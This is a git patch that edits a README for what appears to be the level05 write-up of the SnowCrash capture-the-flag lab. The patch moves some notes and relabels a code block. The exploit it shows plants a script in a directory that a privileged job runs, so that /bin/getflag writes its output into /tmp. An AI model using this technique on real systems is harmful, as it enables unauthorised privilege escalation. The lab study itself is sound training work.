From de322b510142d4c9a5634bf77a859354d08a482b Mon Sep 17 00:00:00 2001 From: "nuo.o" <49533950+nuoxoxo@users.noreply.github.com> Date: Sun, 17 Nov 2024 22:18:09 +0100 Subject: [PATCH] Update README.mdx --- level05/README.mdx | 9 +++++---- 1 file changed, 5 insertions(+), 4 deletions(-) diff --git a/level05/README.mdx b/level05/README.mdx index 4edaf40..ca7b363 100644 --- a/level05/README.mdx +++ b/level05/README.mdx @@ -49,11 +49,9 @@ What this script does: Exploit - put a script inside `/opt/openarenaserver/` -- ~~use `tee` : _read stdin and write to stdout and files_~~ -- let it be run in 2min -```bash -level05@SnowCrash:~$ echo '/bin/getflag > /tmp/temp' \ +```r +$ echo '/bin/getflag > /tmp/temp' \ > /opt/openarenaserver/solve.sh && \ chmod +x /opt/openarenaserver/solve.sh @@ -61,3 +59,6 @@ chmod +x /opt/openarenaserver/solve.sh # `/usr/sbin/openarenaserver` runs `bash -x` in a subshell # it'll stdout nothing whether we `tee` `tee /dev/tty` or `sync` ``` + +- ~~use `tee` : _read stdin and write to stdout and files_~~ +- let it be run in 2min